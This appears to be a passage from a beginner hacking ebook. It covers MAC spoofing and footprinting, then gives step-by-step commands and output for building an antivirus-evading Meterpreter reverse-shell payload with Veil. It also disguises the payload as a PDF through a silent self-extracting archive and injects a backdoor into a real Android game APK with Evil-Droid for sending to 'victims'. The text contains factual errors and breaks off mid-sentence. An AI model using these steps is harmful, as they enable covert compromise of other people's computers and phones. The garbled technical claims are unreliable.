Changing your MAC address

What is a MAC address?
MAC is an acronym for Media Access Control. Contrary to what many
people believe, MAC addresses are in no way related to Macintosh from
Apple Inc. A MAC address is a set of hardware identification digits that are
meant to distinguish any device connected to a network uniquely.

Why we need to change MAC address
Changing your MAC address is meant to enhance privacy by protecting the
identity of a user connected to a network. In short, it a way of ensuring
anonymity. However, changing your MAC address is only effective in local
area network or WiFi networks. It is not very powerful when you are
connected to the internet.
Practical Session:
We are going to change our MAC address using macchanger, so let us go



ahead and see what this tool does:

1. Open terminal and type macchanger –help.

You can see that -h is used to help, -v to identify the version, -s to show
current MAC address, -e for editing, -a for another, -p for permanent, -r for
random, -l for list keyword, -b for bia, and -m to change the MAC address.
Let's check our MAC address

2. Open terminal and type ipconfig.



Here, you can see that I highlighted two words – the first is eth0, and the
other one is WLAN. Eth0 means World Area Network and WLAN means
Wireless Local Area Network.

3. Type “macchanger -s eth0” to see your current MAC address if
you are using worldwide web. For someone using the local area
network, however, type “macchanger –s wlan0” to view the
MAC address.

As you can see, we have two MAC addresses. The first is the current MAC
address and the second is a permanent MAC address. The current MAC
address is the current MAC address of our network and can be changed, but
the permanent MAC address cannot be changed. That’s because it is not a
MAC address of the network I am using. Rather, it the address of our the



Network Interface Card that belongs to the computer I am using.
Also, you can see that I highlighted the first three digits. These three digits
have a meaning. They are used to identify the manufacturer of the network
card.
How can your MAC address be used in a network?

If a system administrator wants to identify a certain device, they can use the
MAC address to find the name of the device. As such, a MAC address is
typically important when one wants to identify a specific device on the
network. That aside, let's go ahead and try to change the MAC address using
the steps listed below.

1. Open terminal and type macchanger -a eth0.

As you can see, our MAC address is has changed, and you can verify that by
typing “macchanger -s eth0.”



Information Gathering

What is Information Gathering?

Information Gathering is also known as footprinting. It is the art of collecting
information from a given device using various tools. Footprinting is the first
and critical phase of hacking for all types of hackers. Without it, a hacker
cannot perform any attack.

Types of Footprinting

There are basically two types of footprinting, namely:

1. Passive footprinting
2. Active footprinting

Passive footprinting

With passive footprinting, hackers gather information knowing something
about the target. In other words, we can say that hackers already know who
their target is in passive footprinting. They gather information by mirroring
websites, email tracking, and others.
Active footprinting

With active footprinting, hackers gather information without knowing
anything about the target. In other words, we can say that active footprinting
is all about trying to attack a target without having any information about
them beforehand. Hackers can collect the information they need from
Google, an IP address search, DNS search, etc.

Passive Footprinting

Website Footprinting

White hat hackers use a variety of techniques to identify weaknesses in a
system so that they can take the necessary precautions to create a more secure



environment. Many of these are passive, legal, and common tools through
which websites can easily provide organizational information without
invading their systems.
What is website footprinting?
Website footprinting is a technique used to discover organizational
information from specific websites. Learning more about an organization’s
structure and systems can provide valuable insights for potential targets.
Common pieces of information that can be obtained include the following.

Domain name

IP Addresses
Namespaces
Employee information
Phone numbers
E-mails

Job Information
Websites such as Whois (https://www.whois.com/whois) or IP2Location
(https://www.ip2location.com/) are easily assessable and provide starting
points for further footprinting. These are solid starting points for hackers to
get information that can be the foundation for further analysis and potential
attacks.
Command line tools, such as “ping” are easy to use and require little
programming or scripting skills. Pinging an IP address can be applied when
one wants to check the validity of information and to determine that a device
is active online. The “tracert” command can allow individuals to see the route
of a request, how information is forwarded, and the devices it’s forwarded to.

How is website footprinting useful?
Website footprinting can be useful for many reasons. Someone wishing to
hack into an organization’s systems and websites can achieve a lot using
these practices. This type of information-gathering can provide a baseline for
possible targets, whether technical or social engineering. On the other side,
certified ethical hackers can work with an organization to improve defense



techniques against attacks.
Identification of weaknesses is the start for creating an effective defense
against attacks. Through effective website footprinting, organizations can
protect themselves better from hackers and establish safer and more secure
information systems.
Website Footprinting Particle

In this practice session, you will learn how to collect information from your
target website by simply typing the domain name, and we will also learn how
you can mirror a website with httrack for vulnerability analysis
Gathering Information From the Domain Name
There are many websites that provide the details of a website just by typing
the domain name, so let’s go ahead and identify some:

1. https://website.informer.com/

This website will show complete information about any website like email,
the IP address, DSN, hosting company, and others just by typing the domain
name.
Suppose we want information about google.com. Simply type
www.google.com in the search bar and press the “search” button.

https://website.informer.com/


Here, you can see that you got back complete information about google.com
like daily visitors, Alexa ranking, domain creation date, domain expiration
date, and more. We can also scroll down for more information:



2. https://web.archive.org

https://web.archive.org/


Wayback machine Web.Archive.org is a website that shows the complete
change history of any site in screenshot form. All that is required of you is
simply typing the domain name into the search bar.
Suppose I want to see the change history of youtube.com. In such a case, I
only have to type www.youtube.com in the search bar and press “Enter,” as
shown on the next page.

Here, you can see the graphs of changes in the screenshot from 1996 to 2019.
To see the complete changes in a particular year, simply click on the “years”
graph.

http://www.youtube.com


If, for example, I want to see the change history for the year 2009, then I will
click on the 2009 chart and get the result as shown below.

In the calendar, you can see some blue circles which means that YouTube
made some changes on a given date. To view those changes, simply move the
cursor on that date.

As soon as you point your cursor to any date, you should see a list of changes
for that day. Just click at any time, and you will get a screenshot of changes
made by YouTube on that particular date as shown below:



With the given results, you can see how YouTube looked on 3 Feb 2009 at
2.24 p.m.

Footprinting With Maltego

What is Maltego?
Maltego is a tool designed to be used with Kali Linux. It helps the hackers
and penetration testers in information gathering. There are two versions of
this application – the first is free, and the second is paid. If you use the free
version, you should get the basic facility of this app, but if you subscribe to
the paid version, you will be in a position to use the special features of this
app. We will be using the free version with basic features. .

How does maltego work?



Matego is a tool used in passive information gathering. It can only gather the
information which is publicly available. Like organization exam, server IP
etc.
Practical Session

1. Navigate to the applications bar, and in the information
gathering section you should locate the Maltego tool.

When using it for the first time, you will be asked to register, so create an
account and then log in using your email and password.



Maltego works as a transform hub where you can update your transforms,
refresh them, and add your own. As a default, the ones that you have included
in the free edition are in light gray while the ones that are dark gray are
available only with the paid version.
Each transform gives you additional functionality in regard to the type of
information you can gather. You can see the functions of the transform by
clicking on the “details” option



The graphical user interface of Maltego is very user-friendly. To get started,
just click on the rectangular icon on the top of the left side of the screen.

Wait for a few seconds and it will start.



Welcome to Maltego! The free version has a watermark at the bottom of the
white screen informing you that the tool is for demo use only. That should
not be a cause for concern.
After adding your target, you can view them on the left side as shown by the
following screenshot.



We are going to start with the domain, so simply drag the domain to the work
screen.



By default, the site listed here is paterva.com, which is a site that belongs to
the company that designed and owns MMaltegoMaltego.
At the left side of the screenshot, I have made two rectangles with different
colors. On the first rectangle, there is a circle which can be moved using your
mouse. The second rectangle is used to view details, and you can change your
target from here.

I’m going to change the domain name because I have to protect myself
legally before proceeding. Given that this information is publicly available,
I'll not interact with the domains which I do not own personally.
Change the domain name by clicking on the domain name in the third
rectangle



Say, for example, we are blocked by MaltegoMaltego
(“maltego.000webhostapp.com”) from performing a penetration test on their
website. We can run the transform utility for footprinting and penetration
testing. All that’s required of you is to right click on the web icon to see
transforms



Here, you can see that there are four categories of transforms, namely
patervactasce, shodan, farsight DNSDB, and have I been pwned? We will
click on the “all transform” to see all the options
Keep in mind that you don’t have to run all scans on your target. You can run
a transform depending on your needs and it will systematically give you the
information.



For example, if the first thing I would like to do is have a quick lookup of our
target, then I’ll scroll down and click on the “To website [quick lookup].”



From the information above, you can see that the transform is completed and
that there is an output result of the scan at the bottom. Suppose we want to
view the top-level domain of the target site. We can do this by clicking the
right button on the blue web icon and find “To domain [Find other TLDs],”
then click on it. TLD stands for Top Level Domain.



Maltego is very fast, so it takes a few seconds to complete basic scans.



From the screenshot above, you can verify that the scan is complete, and we
got two top-level domains of our target website. It means that there are two
subdomains belonging to the company
For example, if I was scanning www.hack.com, then the subdomain or top-
level domain could be hack.in, hack.me and others. However, Maltego will
only show the top-level domains which belong to hack.com and the sites that
are currently live.

So now we got the subdomains, and if we want to see the IP address of those
sites, then we can do so by clicking the right button and then selecting “Toip
address [DNS].”

http://www.hack.com


You should get the results after a few seconds of waiting.



The result should display the IP address of our target as shown by the
screenshot above.  We can start interacting with our target actively,
performing only the basic scans. You can, however, focus on advanced scans
if you have permission. Let’s go ahead and find the email address related to
this IP. To do so, you need to need to point the cursor on the IP and right
click, then select “to email [form whois.info]”



Having followed the steps above, you should be in a position to view the
email address connected to the IP address.



Finding the email address and doing several other things using Maltego is not
supposed to be complicated in any way.

Active Footprinting

Email Footprinting

Information gained through footprinting can be used by a hacker, who wishes
to gain access into an organization’s data, or by the organization to addresses
weaknesses and security gaps. Email footprinting is used by individuals to
learn more about the network and user information of an organization.
Study of emails can reveal valuable and actionable information which can
include:

Sender email address
Sender name
Possible physical location
Path of the email

Sender IP address
Active Ports

What is email footprinting, and how is it useful?

Email footprinting implements two common methods. Tracing email is the
process used to determine the origin of the email. Study of the path can help
someone who wants to glean individual, organizational, and contact
information. Through analysis of the email header, information about the
mail server, internal IP addressing scheme, and possible network architecture
can be learned. Basic header information contains common elements such as
from, to, subject, and date information. More in-depth analysis reveals time
stamps from all mail transfer agents, which includes routing information
about the server that aided in the transfer of the email.
All of that information, when put together, may allow someone to target
individuals for social engineering attacks or organizational networks that may
be dated and full of security flaws.



In addition to tracing emails, hackers can send an email and track it. Through
email tracking, information about email addresses and when someone
received and opened an email can be obtained. Using techniques used to send
a response back, hackers can learn that an email was received and opened.
They can then resort to tracking to learn about the route and path.
Understanding how emails are routed and what information is contained is
valuable for hackers and organizations alike. Gaining a more in-depth picture
of the network allows for hackers to select targets that are weaker and less
secure. Organizations can learn to minimize information that may be learned
through footprinting and can then take steps to protect the network and data
better.
What information will we get by email footprinting?

Date and time of reading

Location
Weather
IP address
System information
ISP

Proxy IP
Practical sessions:
In this practice session, you will learn how to collect information from your
victim just by sending them an email. Follow the given steps to perform
email footprinting.

DNS Enumeration

What is DNS?
DNS is an acronym for Domain Name System. You could think of DNS as an
internet phone book. When we access things on the internet, we do so via
domain names. Domain names are web addresses such as NBC. Com or
nytimes.com

When trying to access information online, web browsers interact using IP
addresses. The DNS converts domain names into IP addresses so that the



browser can load them.
If it DNS servers never existed, we would have to memorize IP addresses for
everything we wanted to find on the internet. On a web browser, the DNS
lookup happens without any human interaction or knowledge – it is an
automated process.
Practical Session

Before starting the practical session, let’s first understand the meaning of
some of the shortcuts that we will use:

➢       DNS integration tools (Dnsstuff.com, Network-tool.com)
➢       MX- Point to Domains mail server
➢       QNS- Points to a hostname server
➢       QNAME- Canonical naming allows aliases for a host

➢       QSOA- Indicates authority for the domain
➢       QSRV- Service card
➢       QPTR- Maps IP address to a hostname

Having understood the information above, let's go ahead and start our
practice session. Follow the steps given below:
Open your browser and go to https://tools.dnsstuff.com/.

There are lots of options that we can use to gather information about our
target, so let’s go ahead and try some:

1. DNS reports

https://tools.dnsstuff.com/


Using this tool, we can identify problems on the target DNS System

2. DNS lookup

This tool will visit the target website from various countries. This
information is crucial while connecting to a VPN. Just type the domain name
and hit enter



3. Reverse DNS lookup

Using this tool, you can find the DNS records from an IP address. All you
need to do is type the public IP and hit “Enter.”

There are lots of tools, and we can’t discuss each one of them, so consider
visiting the site, and under the tool title, you will get a short description about
what each tool can do.



Gaining Access

Windows Hacking with Vail.

This segment of our discussions endeavours to create a fully undetectable



payload using the Metasploit and Vail. The latter is also able to do other
things as. Nonetheless, we are only going to belabour the undetectable
payload for Android and Windows.

Payload for windows

We shall generate the reverse TCP payload which is to let us hack any
operating system from a remote locale. On the same note, we shall also peek
into a couple of smart tricks that give us the leeway to compel our victims to
install an app without being detected.

To achieve this, we shall use a tool called “Vail.” This, we shall subsequently
use to generate the undetectable payload. You will find this tool in the
GitHub. Adhere to the given procedures to download and install the tool on
your machine.

1. Open your browser and search “Vail GitHub” in whichever
search engine you prefer. Personally, I prefer DuckDuckgo.

2. Click the first link and then proceed to copy the download link.



3. Locate the directory where you may want to post the
downloaded files. Alter the user root by typing in “Sudo su.” For
me, I will use my desktop directory.

4. anon@kali:~$ cd Desktop
5. anon@kali:~/Desktop$ sudo su
6. [sudo] password for anon:
7. root@kali:/home/anon/Desktop#

After that, type in the following command to download.

git clone https://github.com/Veil-Framework/Veil.git
root@kali:/home/anon/Desktop# git clone https://github.com/Veil-Framework/Veil.git
Cloning into 'Veil'...
remote: Enumerating objects: 40, done.
remote: Counting objects: 100% (40/40), done.
remote: Compressing objects: 100% (36/36), done.
remote: Total 2194 (delta 12), reused 16 (delta 4), pack-reused 2154
Receiving objects: 100% (2194/2194), 705.14 KiB | 936.00 KiB/s, done.
Resolving deltas: 100% (1236/1236), done.
root@kali:/home/anon/Desktop#

The above command is used to download the files from the GitHub website.
To execute the vail, lots of tools and packets have to be incorporated. For this
to be realized, the dependency will first and foremost have to be installed.

To do so, get to the Vail/config/ and then run the setup.sh file. Type in the
“./setup.sh” to achieve this. Prior to running this command, see to it that you
update and upgrade your system fully. Do this by typing in “apt-get update



&& apt-get upgrade.” It will take around an hour to set up all the necessary
dependency and software.
root@kali:/home/anon/Desktop/Veil/config# bash setup.sh
==========================================================================
                               Veil (Setup Script) | [Updated]: 2018-05-08
==========================================================================
     [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
==========================================================================

                 os = kali
          osversion = 2020.3
       osmajversion = 2020
               arch = x86_64
           trueuser = anon
   userprimarygroup = anon
        userhomedir = /home/anon–
            rootdir = /home/anon/Desktop/Veil
            veildir = /var/lib/veil
          outputdir = /var/lib/veil/output
    dependenciesdir = /var/lib/veil/setup-dependencies
            winedir = /var/lib/veil/wine
          winedrive = /var/lib/veil/wine/drive_
            gempath = Z:\var\lib\veil\wine\drive_c\Ruby187\bin\gem

[I] Kali Linux 2020.3 x86_64 detected...

[?] Are you sure you wish to install Veil?

     Continue with installation? ([y]es/[s]ilent/[N]o): yes

8. Upon installing the same, you may have to proceed to the Vail
directory and run the Vail.py. This, you do by typing in the
“./Vail.py.”

root@kali:/home/anon/Desktop/Veil# ./Veil.py
===========================================================================
                             Veil | [Version]: 3.1.14
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
Main Menu

2 tools loaded



Available Tools:

1) Evasion

2) Ordnance

Available Commands:

exit Completely exit Veil

info Information on a specific tool

list List available tools

options Show Veil configuration

update Update Veil

use Use a specific tool

Veil>:

Immediately after executing this “Vail.py file,” a screen will pop up on your
terminal. This will give you the leeway to generate the undetectable payload
by the use of some tools. The first is the Evasion whereas the second is the
Ordinance. In this book, we shall use the former.

Evasion exists in the first number. That means you “use 1” which is found at
the bottom of the terminal.

There, you shall also see all the commands that be for your use and leverage
as well. To create the Payload, we shall first and foremost list all the available
Payloads.

Available Commands:

back Go to Veil's main menu

checkvt Check VirusTotal.com against generated hashes

clean Remove generated artifacts

exit Completely exit Veil

info Information on a specific payload

list List available payloads

use Use a specific payload



Veil/Evasion>:

4. Type “list” to list all the available payloads.

Veil/Evasion>: list
===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

 [*] Available Payloads:
1) autoit/shellcode_inject/flat.py

2) auxiliary/coldwar_wrapper.py

3) auxiliary/macro_converter.py

4) auxiliary/pyinstaller_wrapper.py

5) c/meterpreter/rev_http.py

6) c/meterpreter/rev_http_service.py

7) c/meterpreter/rev_tcp.py

8) c/meterpreter/rev_tcp_service.py

9) cs/meterpreter/rev_http.py

10) cs/meterpreter/rev_https.py

11) cs/meterpreter/rev_tcp.py

12) cs/shellcode_inject/base64.py

13) cs/shellcode_inject/virtual.py

14) go/meterpreter/rev_http.py

15) go/meterpreter/rev_https.py

16) go/meterpreter/rev_tcp.py

17) go/shellcode_inject/virtual.py

18) lua/shellcode_inject/flat.py

19) perl/shellcode_inject/flat.py

20) powershell/meterpreter/rev_http.py

21) powershell/meterpreter/rev_https.py



22) powershell/meterpreter/rev_tcp.py

23) powershell/shellcode_inject/psexec_virtual.py

24) powershell/shellcode_inject/virtual.py

25) python/meterpreter/bind_tcp.py

26) python/meterpreter/rev_http.py

27) python/meterpreter/rev_https.py

28) python/meterpreter/rev_tcp.py

29) python/shellcode_inject/aes_encrypt.py

30) python/shellcode_inject/arc_encrypt.py

31) python/shellcode_inject/base64_substitution.py

32) python/shellcode_inject/des_encrypt.py

33) python/shellcode_inject/flat.py

34) python/shellcode_inject/letter_substitution.py

35) python/shellcode_inject/pidinject.py

36) python/shellcode_inject/stallion.py

37) ruby/meterpreter/rev_http.py

38) ruby/meterpreter/rev_https.py

39) ruby/meterpreter/rev_tcp.py

40) ruby/shellcode_inject/base64.py

41) ruby/shellcode_inject/flat.py

Type in “list” in order that you may generate the list of the available
Payloads. 41 different payloads exist from which you may tap into. They all
follow some precise naming patterns. For instance,
“ruby/meterpreter/rev_https.py” is subdivided into three parts.

The first part, “ruby,” is the name of the program in which the Payload is
drafted. The second refers to the meterpreter that denotes the kind of Payload
in question. The third is the rev_https.py that indicates the protocol’s name
that subsequently generates the reverse connection upon execution.

We shall use the powershell/meterpreter/rev_https.py payload in this instance
as it is a simple programming language. Moreover, it also empowers a



beginner to manage undetectable by varying a couple of lines in the code.

9. Given that we are utilizing the
powershell/meterpreter/rev_https.py which ranks 21st, we  type
in “use 21.”

Veil/Evasion>: use 21
===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

 Payload Information:

Name: Pure PowerShell Reverse HTTPS Stager

Language: powershell

Rating: Excellent

Description:    pure windows/meterpreter/reverse_https stager, no

                shellcode

Payload: powershell/meterpreter/rev_https selected

Required Options:

Name            Value   Description

----            -----   -----------

BADMACS         FALSE   Checks for known bad mac addresses

DOMAIN          X       Optional: Required internal domain

HOSTNAME        X       Optional: Required system hostname

LHOST                   IP of the Metasploit handler

LPORT           8443    Port of the Metasploit handler

LURI            /       The HTTP path to prepend to the listener. Ex: http://attacker:port/[LURI]

MINBROWSERS     FALSE   Minimum of 2 browsers

MINPROCESSES    X       Minimum number of processes running

MINRAM          FALSE   Require a minimum of 3 gigs of RAM

PROCESSORS      X       Optional: Minimum number of processors



PROXY           N       Use system proxy settings

SLEEP           X       Optional: Sleep "Y" seconds, check if accelerated

STAGERURILENGTH 4       The URI length for the stager (at least 4 chars).

USERNAME        X       Optional: The required user account

USERPROMPT      FALSE   Window pops up prior to payload

USER_AGENT      Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)              The User-Agent
header to send with the initial stager request
UTCCHECK        FALSE   Check that system isn't using UTC time zone

VIRTUALPROC     FALSE   Check for known VM processes

 Available Commands:
back        Go back to Veil-Evasion

exit        Completely exit Veil

generate    Generate the payload

options     Show the shellcode's options

set         Set shellcode option

[powershell/meterpreter/rev_https>>]:

Upon typing “use 21,” we shall obtain plenty of options that may be used to
vary the Payload. While at it, we shall also attempt to make the same as
unique as can be. A Payload that is more unique is similarly more likely to
bypass many antiviruses.

We shall also cover the anti-virus bypass method in finer details in the
ensuing antivirus evasion sections. Nonetheless, this is the first step you may
use to bypass fewer of the antivirus programs.

Let us explore few options which can help us a lot to make Payload fully
undetectable:

SLEEP - This option makes the Payload sleep for a short duration of the
specified time. It thereafter connects the system automatically.

PROCESSORS - Does not alter the work but may nonetheless aid in making
the Payload unique.

After this, there is the need to specify the LPROT and the LHOST for the



sake of multiple handling. This may also entail the use of the PROCESSORS
and SLEEP options to make the Payload unique.

10. Type “set LHOST (Your IP address)”

[powershell/meterpreter/rev_https>>]: set LHOST 10.0.2.15

If performing the attack in the local area network, you have to make use of
the local IP address. If, on the other hand, you are performing attack over
wide-area network, you may have to leverage the public IP address. For our
sake, we are using it in the local area network. Thus, we are utilizing the local
IP address.

11. Type “set LHORT (Your port number)”

[powershell/meterpreter/rev_https>>]: set LPORT 8080

Type the “set LHORT (Your port number)”. This is further followed by
specifying the port number. Yet again, we are using the local area network.
This means we have to specify the port we have used to forward the
instructions. For this task, port 8080 is strongly recommended as it is less
likely to draw any suspicions on the site.

12. Type “set SLEEP (time in seconds)

[powershell/meterpreter/rev_https>>]: set SLEEP 30

Slot in the “set SLEEP (time in seconds). Follow this by specifying the
duration as being thirty seconds. Doing this will prompt the Payload to
connect with you after the lapse of the thirty-second duration.

13. Type “set PROCESSORS 1”

[powershell/meterpreter/rev_https>>]: set PROCESSORS 1

Specify the “set PROCESSORS 1” At this stage, you should specify the
processor for the Payload. While this will not make any alternations in the



functionality, it will nonetheless aid in bypassing a couple of antivirus
programs. Using the options ascertains that everything is alright.

14.                      Type “options”
[powershell/meterpreter/rev_https>>]: options

Payload: powershell/meterpreter/rev_https selected

 Required Options:

Name            Value   Description

----            -----   -----------

BADMACS         FALSE   Checks for known bad mac addresses

DOMAIN          X       Optional: Required internal domain

HOSTNAME        X       Optional: Required system hostname

LHOST           10.0.2.15 IP of the Metasploit handler

LPORT           8080    Port of the Metasploit handler

LURI            /       The HTTP path to prepend to the listener. Ex: http://attacker:port/[LURI]

MINBROWSERS     FALSE   Minimum of 2 browsers

MINPROCESSES    X       Minimum number of processes running

MINRAM          FALSE   Require a minimum of 3 gigs of RAM

PROCESSORS      1       Optional: Minimum number of processors

PROXY           N       Use system proxy settings

SLEEP           30      Optional: Sleep "Y" seconds, check if accelerated

STAGERURILENGTH 4       The URI length for the stager (at least 4 chars).

USERNAME        X       Optional: The required user account

USERPROMPT      FALSE   Window pops up prior to payload

USER_AGENT      Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)              The User-Agent
header to send with the initial stager request
UTCCHECK        FALSE   Check that system isn't using UTC time zone

VIRTUALPROC     FALSE   Check for known VM processes

Available Commands:

back        Go back to Veil-Evasion

exit        Completely exit Veil



generate    Generate the payload

options     Show the shellcode's options

set         Set shellcode option
[powershell/meterpreter/rev_https>>]:

Write the term ‘options.’ This prompt updates the LPORT and the LHOST.
Subsequently, it generates the Payload.

15.                      Type “generate” to generate a Payload
[powershell/meterpreter/rev_https>>]: generate
===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

[>] Please enter the base name for output files (default is payload):

In case the name is not specified, it will assume the default Payload name. In
this instance, we leave the default name as it is. The file shows all the details
of the Payload and the associated path that the same is stored.

[>] Please enter the base name for output files (default is payload):
===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

[*] Language: powershell
[*] Payload Module: powershell/meterpreter/rev_https
[*] PowerShell doesn't compile, so you just get text :)
[*] Source code written to: /var/lib/veil/output/source/payload.bat
[*] Metasploit Resource file written to: /var/lib/veil/output/handlers/payload.rc

Hit enter to continue...

At this stage, it is showing all the detail of your payload and the path where



your payload is stored.

Checking the Payload reveals the quantity of the anti-virus it may detect. The
present format is .bat. We now need to alter it to the .exe variant. This is what
performs the antivirus scanning. We make this alteration by simply renaming
the .bat extension to the .exe.

Many websites that provide the anti-virus scan facility abound. Most,
however, sell their scanning data alongside the anti-virus companies. We
only recommend the use of those sites that sell not their data. Chief of these
is the antiscan.me and the nodistribute.com.



These two may bypass nine out of the twenty-six anti-viruses. Though not
great, we have done nothing yet. It is also a great start. In the sections that
follow, we shall bind the Payload with an image.

Binding Payload to an Image

In case we decide to send the Payload to the target without binding it with the
apk or image, the end result may appear suspicious and less likely hence to
install the Payload. We shall hence choose to convert the backdoor to the .pdf
or image by use of the WinRAR.



From this illustration, it is clear that we have three files on the desktop. These
are the .pdf, pdf icon, and the created Payload. Combining these files
altogether generates the .pdf by use of the WinRAR.

1. Choose all the files of interest, right-click on them, and then add
the same to the archives.

2. Assign a name to the file, tick the SFX archive and select the
most suitable compression method tab.



3. Proceed to the advanced tab and click the SFX option.

4. While at the SFX option, proceed to the setup tab and determine
the file you may want to execute the serial form.



5. Go ahead to the modes tab and click “Hide all under silent
mode.”



Get to the Icon and Text tab under “Customize SFX logo” as well as the
“icon selection a .ico file” of your interest. If you so wish, you may also
cover every image or icon to the .ico format using the online converters
given.



6. Click “OK” and wait until the conversion process is completed.

The real and fake pdf appear to be exactly the same. Nonetheless, they also



work the same when opened.

Android Hacking with Evil Droid.

You have numerous ways via which you may generate the Payload and
interject the same to the real applications. These include:

1. Manual
2. Automatic

Manual – Entails the use of the msfvenom and interjecting the same into a
real apk by use of reverse engineering. Though effective, this method tends to
take lots of time and brings about a lower success rate.

Automatic – Uses free tools that generate and interject the Payload into the
real apk automatically. It is a faster method and also gives  a higher success
rate.

Let us now create and inject the Payload into the real apk by use of the evil
droid too. The steps below will help us to achieve that end:

1. Get to the duckduckgo.com and search the “Evil droid GitHub.”
Click open the first link.



2. Generate a copy of the download link and open your terminal.

3. Proceed to the directory where you want to save the file. As for
me, I would rather use the desktop directory.

anon@kali:~$ cd Desktop
anon@kali:~/Desktop$

4. Type git clone (url).
anon@kali:~/Desktop$ git clone https://github.com/M4sc3r4n0/Evil-Droid.git
Cloning into 'Evil-Droid'...
remote: Enumerating objects: 68, done.
remote: Total 68 (delta 0), reused 0 (delta 0), pack-reused 68
Receiving objects: 100% (68/68), 6.70 MiB | 5.14 MiB/s, done.
Resolving deltas: 100% (19/19), done.
anon@kali:~/Desktop$

5. Type “cd Evil-droid” to alter the current storage directory of the
evil droid.

anon@kali:~/Desktop$ cd Evil-Droid/
anon@kali:~/Desktop/Evil-Droid$

Typing “ls” gives us a peek into the available files and the directories in the
evil droid.
anon@kali:~/Desktop/Evil-Droid$ ls
changelog  evil-droid icons  README.md  tools



anon@kali:~/Desktop/Evil-Droid$

As may be seen from the foregoing, the evil droid isn’t green, meaning that it
is not an executable. Because of this, we need to change the format to the
executable.

6. Type “chmod +x evil-droid.”
anon@kali:~/Desktop/Evil-Droid$ chmod +x evil-droid
anon@kali:~/Desktop/Evil-Droid$ ls
changelog  evil-droid  icons  README.md  tools
anon@kali:~/Desktop/Evil-Droid

As you can see from the picture, the evil droid is now green. This implies it is
executable and hence can run. You can also alter the present user by typing
“sudo su.”

7. Type “./evil-droid” to run the evil-droid.

The evil droid relies heavily on third-party software. When the same is run, it
installs all the dependencies first, which allows you more time.
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╔ ────────────────────────────────────────────── ╗
|             Evil-Droid Framework v0.3           |
|        Hack & Remote android plateform         |
┖ ────────────────────────────────────────────── ┙

[1] APK MSF                                     
[2] BACKDOOR APK ORIGINAL (OLD)                 
[3] BACKDOOR APK ORIGINAL (NEW)                 
[4] BYPASS AV APK (ICON CHANGE)                 
[5] START LISTENER                              
[c] CLEAN                                       
[q] QUIT                                        
[?] Select>:

Upon running this evil droid, an interface that gives you five options will pop
up. This lets you create a back door to inject into the apk. Two similar
options exist for your subsequent leverage. These are the old and the new
respectively. The old method asks the users to grant all permissions while the
newer one does not do so. As such, the new option is better.

8. Type “3” and press enter

[?] Select>: 3

At this stage, the system will ask you for the IP address. In case you are
performing it in your local area network, you have to enter the local area
network.

9. Enter your IP address.



The system will ask you to specify a particular port. For my case, I use 8080
since it is employed by the webservers and the web applications. Because of
these twin reasons, it is less suspicious. If performing the attack via the local
area network, you may use any port number or else you may need to specify
the port which you use to forward.

10.                      Enter the port number.

After this, the system will ask you to spell out the name of your Payload. I
name mine the ‘Backdoor’ but leave it to you to assign anything you wish.

11.                      Name your Payload.

Upon reaching here, the system shall ask you to specify the exact same
Payload you may have injected in the real apk. We use Metasploit to share



the information with the Payload. That means we use the
android/meterpreter/reverse_https.

12.                      Choose a payload.

Follow the below procedure by selecting the preferred Payload that you will
attach to your real apk. It is this in which you also inject the Payload. I inject
mine into the gaming app.
 

13.                      Choose the real apk and click “OK.”



Set aside the real apk and follow this by clicking “OK” . This may require a
little bit of time and patience. In case it fails to execute, you may have to
verify the signed artifacts and then follow the guidelines stipulated to fix the
problem.

Failed to Verify Signed Artifacts Fix.

You may at times confront the “Failed to verify signed artifacts” error
brought about largely due to the failure of the evil droid being not updated for
quite some time. This may require a little bit of alteration to make it work
well.

1. Open the Google engine and then key in the “apktool.jar” in the
search bar. Open the link that first pops up and download the
most recent version of the apktool.



I download mine to the download directory of my computer. Now proceed to
the evil droid/tools and erase the older version of the apktool.

anon@kali:~/Desktop/Evil-Droid/tools$ rm apktool.jar
anon@kali:~/Desktop/Evil-Droid/tools$

After eliminating the older version, you have to copy and paste the latest
version of the apktool to the evil-droid/tools directory.

anon@kali:~/Downloads$ mv apktool_2.4.1.jar /home/anon/Desktop/Evil-Droid/tools
anon@kali:~/Downloads$

Go again to the Evil-Droid/tools/ directory. Here, you need to vary the doc.txt
file. To do this, type “nano doc.txt.” Prior to entering the nano dox.txt file to
see to it that you log in as the root user.

At this point, you only need to alter the apktool version from 2.2.0 to 2.4.1
and then save the same file.

1. Open the terminal and switch your present user to root.

anon@kali:~$ sudo su
[sudo] password for anon:



root@kali:/home/anon#

Type the term “sudo apt-get install openjdk-11-jdk-headless” and press the
“enter” button.

root@kali:/home/anon# sudo apt-get install openjdk-11-jdk-headless
Reading package lists... Done
Building dependency tree       
Reading state information... Done
openjdk-11-jdk-headless is already the newest version (11.0.9.1+1-1).
The following packages were automatically installed and are no longer required:
  bluez-firmware firmware-atheros firmware-brcm80211 firmware-intel-sound
  firmware-iwlwifi firmware-libertas firmware-realtek firmware-ti-connectivity
  firmware-zd1211 libindicator3-7 libjsoncpp1 libmpdec2 libprotobuf22
  libsrt1-gnutls libx264-159 openjdk-8-jre python3-chameleon
  python3-flask-restless python3-mimeparse python3-mimerender python3-waitress
  python3-webtest python3-zope.component python3-zope.event
  python3-zope.hookable snmp testdisk tftp
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 178 not upgraded.
root@kali:/home/anon#

This will install the install open-jdk eleven on your personal computer. It
takes quite some time, so you have to be patient.

Let us now attempt interjecting “Backdoor” by use of the evil droid a second
time. Upon selecting the original apk, take some time off after which you are
to inject the “Backdoor” into the realapk automatically.

Listening Incoming Connection.

Prior to sending out the “Backdoor” to your victim, you ought to make it in
such a way as not to be detectable by the antivirus programs. You may hence
require setting up an msfconsole if there is any hope of receiving the
incoming connections.

In pursuance of this, we shall cover the various methods of bypassing the
antivirus programs in the lesson to come. For now, let us acquaint ourselves
with the steps necessary to receive the incoming connections for the
